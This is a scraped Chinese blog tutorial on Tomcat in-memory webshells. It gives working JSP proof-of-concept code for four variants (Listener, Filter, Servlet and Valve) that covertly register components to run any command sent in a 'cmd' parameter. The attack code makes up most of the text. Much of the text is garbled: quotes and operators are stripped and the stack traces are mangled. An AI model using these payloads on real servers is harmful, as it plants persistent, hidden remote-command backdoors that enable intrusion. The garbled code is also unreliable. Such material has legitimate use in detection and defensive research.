产品展示网站模板,免费插画素材网站,网站title的作用,十大seo免费软件Tomcat内存马
前言
描述Servlet3.0后允许动态注册组件
这一技术的实现有赖于官方对Servlet3.0的升级#xff0c;Servlet在3.0版本之后能够支持动态注册组件。
而Tomcat直到7.x才支持Servlet3.0#xff0c;因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。…Tomcat内存马
前言
描述Servlet3.0后允许动态注册组件
这一技术的实现有赖于官方对Servlet3.0的升级Servlet在3.0版本之后能够支持动态注册组件。
而Tomcat直到7.x才支持Servlet3.0因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat我们先在父项目的pom文件中引入Tomcat依赖
dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-catalina/artifactIdversion9.0.55/version
/dependency关键在于 JSP-可识别类恶意类
所以需要看写在java文件中被系统调用时的堆栈过程利用jsp技术把这个注册过程写入jsp在访问jsp之后就会执行这个逻辑以此注入内存马
问题1
注入内存马之后是访问就会触发动态注册的动作还是注入就自动执行动态注册的动作访问后生效Listener型内存马
Servlet有三种监听器
ServletContextListenerHttpSessionListenerServletRequestListener
这三种最合适的莫过于ServletRequestListener只要访问Servlet的任何资源都会触发这个监听器
创建Listener
package org.example.demo;import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;WebListener
public class ServletListener implements ServletRequestListener {Overridepublic void requestDestroyed (ServletRequestEvent sre) {System.out.println(requestDestroyed);}Overridepublic void requestInitialized (ServletRequestEvent sre) {ServletRequest servletRequest sre.getServletRequest();String cmd servletRequest.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}}
}验证
调用堆栈如下
requestInitialized:13, Shell_Listener (org.example.demo)
fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocolC o n n e c t i o n H a n d l e r ( o r g . a p a c h e . c o y o t e ) d o R u n : 1794 , N i o E n d p o i n t ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutorW o r k e r ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 61 , T a s k T h r e a d Worker (org.apache.tomcat.util.threads) run:61, TaskThread Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)调用Listener的关键步骤fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
跟进看函数逻辑 public boolean fireRequestInitEvent(ServletRequest request) {Object instances[] getApplicationEventListeners();if ((instances ! null) (instances.length 0)) {ServletRequestEvent event new ServletRequestEvent(getServletContext(), request);for (Object instance : instances) {if (instance null) {continue;}if (!(instance instanceof ServletRequestListener)) {continue;}ServletRequestListener listener (ServletRequestListener) instance;try {listener.requestInitialized(event);} catch (Throwable t) {ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString(standardContext.requestListener.requestInit,instance.getClass().getName()), t);request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);return false;}}}return true;}简单分析一下创建监听器的流程
1.获取当前上下文的所有监听器
2.获取StandardContext上下文
3.创建监听器
所以利用jsp技术动态创建监听器也是一样的道理
第一步 添加监听器
首先就是添加监听器跟进getApplicationEventListeners函数
继续跟进applicationEventListenersList
发现这个属性就可以直接添加监听器了
跟进
是addApplicationEventListener函数可以添加监听器那么第一步就解决了
这里注意的就是这个StandardContext类的后面jsp的时候获取也是StandardContext类但是只有getServletContext这个方法所以获取他的父类Context使用getContext方法
第二步 获取ServletContext
invoke:116, StandardHostValve (org.apache.catalina.core)这一步可以发现他获取servlet的方式
恰好jsp也内置了request所以这里也是可以利用
只需要反射利用Field获取即可
Field requestField request.getClass().getDeclaredField(request);
requestField.setAccessible(true);
Request requests (Request) requestField.get(request);这里回顾的时候有点太久没学反射了把request.get(obj)和request.get(null)给搞混了
这里有两个例子(返回的结果都是Hello, qingfeng!)运行一下就能会议起来了
例一[Field.get(null)]
package org.example.demo;import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws IllegalAccessException {MyClass obj new MyClass();// 获取 Class 对象Class? cls obj.getClass();// 获取字段的值try {Field field cls.getDeclaredField(myField); // myField 是字段的名称field.setAccessible(true); // 设置为可访问以便获取或设置私有字段的值// 获取字段的值Object value field.get(null);System.out.println(字段的值 value);} catch (NoSuchFieldException e) {e.printStackTrace();}}
}class MyClass {static String myField Hello, qingfeng!;
}例二[Field.get(obj)]
package org.example.demo;import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws IllegalAccessException {MyClass obj new MyClass();// 获取 Class 对象Class? cls obj.getClass();// 获取字段的值try {Field field cls.getDeclaredField(myField); // myField 是字段的名称field.setAccessible(true); // 设置为可访问以便获取或设置私有字段的值// 获取字段的值Object value field.get(obj);System.out.println(字段的值 value);} catch (NoSuchFieldException e) {e.printStackTrace();}}
}class MyClass {private String myField Hello, qingfeng!;
}
POC
% page importjava.io.IOException %
% page importjava.lang.reflect.Field %
% page importorg.apache.catalina.connector.Request %
% page importorg.apache.catalina.core.StandardContext %
% page importjavax.servlet.annotation.WebListener %
%!WebListenerpublic class ServletListener implements ServletRequestListener {Overridepublic void requestDestroyed (ServletRequestEvent sre) {System.out.println(requestDestroyed);}Overridepublic void requestInitialized (ServletRequestEvent sre) {ServletRequest servletRequest sre.getServletRequest();String cmd servletRequest.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}}}
%%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requests (Request) requestField.get(request);StandardContext context (StandardContext)requests.getContext();ServletListener servletListener new ServletListener();context.addApplicationEventListener(servletListener);
%Filter型内存马
Filter是链式调用执行的Filter会在访问不Web资源之前被执行而且定义Filter时可以根据访问的路径来设置相对来说更灵活。
首先同理创建一个Java文件写Filter型内存马
package org.example.demo;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;WebFilter(/*)
public class ServletFilter implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {String cmd request.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}chain.doFilter(request, response);}Overridepublic void destroy() {Filter.super.destroy();}
}
记得要加chain.doFilter(request, response);不然后面都被阻塞了
在cmd下断点看堆栈情况
doFilter:17, ServletFilter (org.example.demo)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocolC o n n e c t i o n H a n d l e r ( o r g . a p a c h e . c o y o t e ) d o R u n : 1794 , N i o E n d p o i n t ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutorW o r k e r ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 61 , T a s k T h r e a d Worker (org.apache.tomcat.util.threads) run:61, TaskThread Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)和Listener同理我们直接定位关键步骤internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
private void internalDoFilter(ServletRequest request,ServletResponse response)throws IOException, ServletException {// Call the next filter if there is oneif (pos n) {ApplicationFilterConfig filterConfig filters[pos];try {Filter filter filterConfig.getFilter();if (request.isAsyncSupported() false.equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);}if( Globals.IS_SECURITY_ENABLED ) {final ServletRequest req request;final ServletResponse res response;Principal principal ((HttpServletRequest) req).getUserPrincipal();Object[] args new Object[]{req, res, this};SecurityUtil.doAsPrivilege (doFilter, filter, classType, args, principal);} else {filter.doFilter(request, response, this);}} catch (IOException | ServletException | RuntimeException e) {throw e;} catch (Throwable e) {e ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString(filterChain.filter), e);}return;}// We fell off the end of the chain -- call the servlet instancetry {if (ApplicationDispatcher.WRAP_SAME_OBJECT) {lastServicedRequest.set(request);lastServicedResponse.set(response);}if (request.isAsyncSupported() !servletSupportsAsync) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,Boolean.FALSE);}// Use potentially wrapped request from this pointif ((request instanceof HttpServletRequest) (response instanceof HttpServletResponse) Globals.IS_SECURITY_ENABLED ) {final ServletRequest req request;final ServletResponse res response;Principal principal ((HttpServletRequest) req).getUserPrincipal();Object[] args new Object[]{req, res};SecurityUtil.doAsPrivilege(service,servlet,classTypeUsedInService,args,principal);} else {servlet.service(request, response);}} catch (IOException | ServletException | RuntimeException e) {throw e;} catch (Throwable e) {e ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString(filterChain.servlet), e);} finally {if (ApplicationDispatcher.WRAP_SAME_OBJECT) {lastServicedRequest.set(null);lastServicedResponse.set(null);}}}Filter的流程相对Listener来说更麻烦StandardContext并没有类似addFilter的方法上面我们也提到了Filter是链式调用所以接受的是一个FilterMap还需要利用FilterMap把我们的恶意类包装起来。
首先找到filters属性的定义看他的类型
需要一个ApplicationFilterConfig类往上一步看是如何创建ApplicationFilterConfig类的
ApplicationFilterFactory的createFilterChain方法创建了ApplicationFilterChain类跟进createFilterChain看一下
public static ApplicationFilterChain createFilterChain(ServletRequest request,Wrapper wrapper, Servlet servlet) {// If there is no servlet to execute, return nullif (servlet \\ null) {return null;}// Create and initialize a filter chain objectApplicationFilterChain filterChain \ null;if (request instanceof Request) {Request req \ (Request) request;if (Globals.IS\_SECURITY\_ENABLED) {// Security: Do not recyclefilterChain \ new ApplicationFilterChain();} else {filterChain \ (ApplicationFilterChain) req.getFilterChain();if (filterChain \\ null) {filterChain \ new ApplicationFilterChain();req.setFilterChain(filterChain);}}} else {// Request dispatcher in usefilterChain \ new ApplicationFilterChain();}filterChain.setServlet(servlet);filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());// Acquire the filter mappings for this ContextStandardContext context \ (StandardContext) wrapper.getParent();FilterMap filterMaps[] \ context.findFilterMaps();// If there are no filter mappings, we are doneif ((filterMaps \\ null) || (filterMaps.length \\ 0)) {return filterChain;}// Acquire the information we will need to match filter mappingsDispatcherType dispatcher \(DispatcherType) request.getAttribute(Globals.DISPATCHER\_TYPE\_ATTR);String requestPath \ null;Object attribute \ request.getAttribute(Globals.DISPATCHER\_REQUEST\_PATH\_ATTR);if (attribute !\ null){requestPath \ attribute.toString();}String servletName \ wrapper.getName();// Add the relevant path-mapped filters to this filter chainfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;}if (!matchFiltersURL(filterMap, requestPath)) {continue;}ApplicationFilterConfig filterConfig \ (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig \\ null) {// FIXME - log configuration problemcontinue;}filterChain.addFilter(filterConfig);}// Add filters that match on servlet name secondfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;}if (!matchFiltersServlet(filterMap, servletName)) {continue;}ApplicationFilterConfig filterConfig \ (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig \\ null) {// FIXME - log configuration problemcontinue;}filterChain.addFilter(filterConfig);}// Return the completed filter chainreturn filterChain;}简化一下逻辑就是这样
1. filterChain new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象
2. StandardContext context (StandardContext) wrapper.getParent(); 获取当前进程Context
3. FilterMap filterMaps[] context.findFilterMaps(); 通过Context获取所有过滤器
4. ApplicationFilterConfig filterConfig (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig
5. filterChain.addFilter(filterConfig); 添加过滤器一个小知识一个filterConfig对应一个filter但是一个filter可以有多个filterConfig
这里需要了解一下FilterMap和FilterConfig
filterMap主要存储的是urlPatterns和filterName这些信息
恰好对应配置的这些标签
filter-mappingfilter-name/filter-nameurl-pattern/url-pattern
/filter-mappingfilterConfig存储的是filterDeffilterDef下有filterClass和filterName这些信息
filterDef这两项配置对应的恰好就说注册表里面的配置
filterfilter-name/filter-namefilter-class/filter-class
/filter因此构造恶意的Filter就需要注册这些信息才能使得Filter生效
1. filterChain new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象
2. StandardContext context (StandardContext) wrapper.getParent(); 获取当前进程Context
3. FilterMap filterMaps[] context.findFilterMaps(); 通过Context获取所有过滤器
4. ApplicationFilterConfig filterConfig (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig
5. filterChain.addFilter(filterConfig); 添加过滤器第一步 获取ServletContext
其实第一步是和上面原生的一样创建ApplicationFilterChain对象但是创建ApplicationFilterChain对象需要反射获取他的Context。所以第一步还是需要从request获取StandardContext Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request) requestField.get(request);StandardContext standardContext (StandardContext)requestImp.getContext();还有另一种获取StandardContext的方式Tomcat启动会为每个环境创建Session、Cookie等信息都由StandardContext控制
所以可以利用request.getSession().getServletContext()获取但是request.getSession().getServletContext()只是得到了ApplicationContext还需要再反射一次才能获取StandardContext比较麻烦如下图所示
第二步 设置FilterDef FilterDef filterDef new FilterDef();filterDef.setFilterName(ServletFilter);filterDef.setFilterClass(servletFilter.getClass().getName());filterDef.setFilter(servletFilter);standardContext.addFilterDef(filterDef);
第三步 设置FilterMap FilterMap filterMap new FilterMap();filterMap.setFilterName(servletFilter.getClass().getName());filterMap.addURLPattern(/*);filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求standardContext.addFilterMap(filterMap);DispatcherType 是一个枚举类型它定义了 Servlet 中的请求调度器类型。在这里.REQUEST 表示该过滤器将被调度处理来自客户端的请求
第四步 包装FilterDef和FilterConfig ConstructorApplicationFilterConfig applicationFilterConfigConstructor ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);applicationFilterConfigConstructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig applicationFilterConfigConstructor.newInstance(standardContext, filterDef);Field filterConfigsField standardContext.getClass().getDeclaredField(filterConfigs);filterConfigsField.setAccessible(true);Map filterConfigs (Map) filterConfigsField.get(standardContext);filterConfigs.put(ServletFilter, applicationFilterConfig);这一步的关键代码看StandardContext的filterStart方法的161718三行
public boolean filterStart() {if (getLogger().isDebugEnabled()) {getLogger().debug(Starting filters);}// Instantiate and record a FilterConfig for each defined filterboolean ok true;synchronized (filterConfigs) {filterConfigs.clear();for (EntryString,FilterDef entry : filterDefs.entrySet()) {String name entry.getKey();if (getLogger().isDebugEnabled()) {getLogger().debug( Starting filter name );}try {ApplicationFilterConfig filterConfig new ApplicationFilterConfig(this, entry.getValue());filterConfigs.put(name, filterConfig);} catch (Throwable t) {t ExceptionUtils.unwrapInvocationTargetException(t);ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString(standardContext.filterStart, name), t);ok false;}}}return ok;}POC
% page importjavax.servlet.annotation.WebFilter %
% page importjava.io.IOException %
% page importjava.lang.reflect.Field %
% page importorg.apache.catalina.connector.Request %
% page importorg.apache.catalina.core.StandardContext %
% page importorg.apache.tomcat.util.descriptor.web.FilterDef %
% page importorg.apache.tomcat.util.descriptor.web.FilterMap %
% page importorg.apache.catalina.core.ApplicationFilterConfig %
% page importorg.apache.catalina.Context %
% page importjava.lang.reflect.Constructor %
% page importjava.util.Map %%!WebFilter(/*)public class ServletFilter implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {String cmd request.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}chain.doFilter(request, response);}Overridepublic void destroy() {Filter.super.destroy();}}
%%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request) requestField.get(request);StandardContext standardContext (StandardContext)requestImp.getContext();ServletFilter servletFilter new ServletFilter();//FilterDefFilterDef filterDef new FilterDef();filterDef.setFilterName(ServletFilter);filterDef.setFilterClass(servletFilter.getClass().getName());filterDef.setFilter(servletFilter);standardContext.addFilterDef(filterDef);//FilterMapFilterMap filterMap new FilterMap();filterMap.setFilterName(ServletFilter);filterMap.addURLPattern(/*);filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求standardContext.addFilterMapBefore(filterMap);//FilterConfigConstructorApplicationFilterConfig applicationFilterConfigConstructor ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);applicationFilterConfigConstructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig applicationFilterConfigConstructor.newInstance(standardContext, filterDef);Field filterConfigsField standardContext.getClass().getDeclaredField(filterConfigs);filterConfigsField.setAccessible(true);Map filterConfigs (Map) filterConfigsField.get(standardContext);filterConfigs.put(ServletFilter, applicationFilterConfig);
%Servlet型内存马
Servlet是最晚被调用的调用顺序为Listener-Filter-Servlet
servlet分为四个阶段
1.init()初始阶段只被调用一次也是第一次创建Servlet时被调用
2.service()服务阶段。处理客户请求doGet(),doPost()等
3.doGet(),doPost()处理阶段
4.destory()销毁阶段构造一个恶意类
package org.example.demo;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;WebServlet(/ServletShell)
public class ServletServlet implements Servlet {Overridepublic void init(ServletConfig config) throws ServletException {}Overridepublic ServletConfig getServletConfig() {return null;}Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd req.getParameter(cmd);Runtime.getRuntime().exec(cmd);}Overridepublic String getServletInfo() {return null;}Overridepublic void destroy() {}
}
这次查看堆栈信息是看不到创建Servlet的过程的只能从头开始分析了,下图参考https://blog.csdn.net/u010883443/article/details/107463782的一张图片
我们重点关注web.xmlwebConfig解析的下一步xml赋值对象configureContext定位org.apache.catalina.startup的ContextConfig类的configureContext(WebXml webxml)方法 private void configureContext(WebXml webxml) {// As far as possible, process in alphabetical order so it is easy to// check everything is present// Some validation depends on correct public ID///*.......加载xml文件Wrapper wrapper context.createWrapper();*///wrapper.setName(servlet.getServletName());MapString,String params servlet.getParameterMap();for (EntryString, String entry : params.entrySet()) {wrapper.addInitParameter(entry.getKey(), entry.getValue());}wrapper.setRunAs(servlet.getRunAs());SetSecurityRoleRef roleRefs servlet.getSecurityRoleRefs();for (SecurityRoleRef roleRef : roleRefs) {wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());}wrapper.setServletClass(servlet.getServletClass());/*简化代码*/context.addChild(wrapper);}for (EntryString, String entry :webxml.getServletMappings().entrySet()) {context.addServletMappingDecoded(entry.getKey(), entry.getValue());}SessionConfig sessionConfig webxml.getSessionConfig();if (sessionConfig ! null) {if (sessionConfig.getSessionTimeout() ! null) {context.setSessionTimeout(sessionConfig.getSessionTimeout().intValue());}SessionCookieConfig scc context.getServletContext().getSessionCookieConfig();scc.setName(sessionConfig.getCookieName());scc.setDomain(sessionConfig.getCookieDomain());scc.setPath(sessionConfig.getCookiePath());scc.setComment(sessionConfig.getCookieComment());if (sessionConfig.getCookieHttpOnly() ! null) {scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());}if (sessionConfig.getCookieSecure() ! null) {scc.setSecure(sessionConfig.getCookieSecure().booleanValue());}if (sessionConfig.getCookieMaxAge() ! null) {scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());}if (sessionConfig.getSessionTrackingModes().size() 0) {context.getServletContext().setSessionTrackingModes(sessionConfig.getSessionTrackingModes());}}// Context doesnt use version directly// ....}这里面可以提取出几个关键代码
Wrapper wrapper context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());这个就是注册Servlet的关键流程
写JSP文件注册即可
POC
% page importjavax.servlet.annotation.WebServlet %
% page importjava.io.IOException %
% page importorg.apache.catalina.Wrapper %
% page importjava.lang.reflect.Field %
% page importorg.apache.catalina.connector.Request %
% page importorg.apache.catalina.Context %
% page importorg.apache.catalina.core.StandardContext %
% page contentTypetext/html;charsetUTF-8 languagejava %%!WebServlet(name ServletServlet, value /ServletServlet)public class ServletServlet extends HttpServlet {Overridepublic void init(ServletConfig config) throws ServletException {}Overridepublic ServletConfig getServletConfig() {return null;}Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd req.getParameter(cmd);Runtime.getRuntime().exec(cmd);}Overridepublic String getServletInfo() {return null;}Overridepublic void destroy() {}}
%%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request) requestField.get(request);StandardContext context (StandardContext) requestImp.getContext();Wrapper wrapper context.createWrapper();wrapper.setName(ServletServlet);wrapper.setServletClass(ServletServlet.class.getName());wrapper.setServlet(new ServletServlet());context.addChild(wrapper);context.addServletMappingDecoded(/ServletServlet, ServletServlet);
%首先要访问这个jsp文件触发构造内存马之后访问/ServletServlet即可触发
缺点就说必须访问对应的路径不利于隐藏
valve型内存马
Tomcat有四大组件分别是Engine,Host,Context,Wrapper。这四个之间的消息传递与沟通离不开Valve阀门与Pipeline管道
Valve的接口如下
public interface Valve {public Valve getNext();public void setNext(Valve valve);public void backgroundProcess();public void invoke(Request request, Response response)throws IOException, ServletException;public boolean isAsyncSupported();
}简单点理解就是在Tomcat的调用过程中肯定会调用到Valve.invoke,只要我们实现这个接口并且在Valve构造恶意代码就可以达到RCE的目的
但是需要讲构造的恶意Valve实现类加入到调用链中这就需要用到Pipeline其接口如下
public interface Valve {public Valve getNext();public void setNext(Valve valve);public void backgroundProcess();public void invoke(Request request, Response response)throws IOException, ServletException;public boolean isAsyncSupported();
}使用Pipeline时需要注意两个点
1.pipeline添加恶意类实现RCE
2.调用getNext()使得整条链子不会断否则虽然可以执行命令但系统会出错POC
% page importorg.apache.catalina.Valve %
% page importorg.apache.catalina.connector.Request %
% page importorg.apache.catalina.connector.Response %
% page importjava.io.IOException %
% page importjava.lang.reflect.Field %
% page importorg.apache.catalina.core.StandardContext %
% page importorg.apache.catalina.Pipeline %%!public class ServletValve implements Valve {private Valve next;Overridepublic Valve getNext() {return next;}Overridepublic void setNext(Valve valve) {this.next valve;}Overridepublic void backgroundProcess() {}Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {try {Runtime.getRuntime().exec(calc);this.getNext().invoke(request, response);} catch (IOException e) {throw new RuntimeException(e);}}Overridepublic boolean isAsyncSupported() {return false;}}
%%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request)requestField.get(request);StandardContext standardContext (StandardContext)requestImp.getContext();Pipeline pipeline standardContext.getPipeline();pipeline.addValve(new ServletValve());
%访问一次后构造内存马第二次生效
参考链接
https://goodapple.top/archives/1355
https://xz.aliyun.com/t/11988
https://blog.csdn.net/u010883443/article/details/107463782
https://www.cnblogs.com/coldridgeValley/p/5816414.html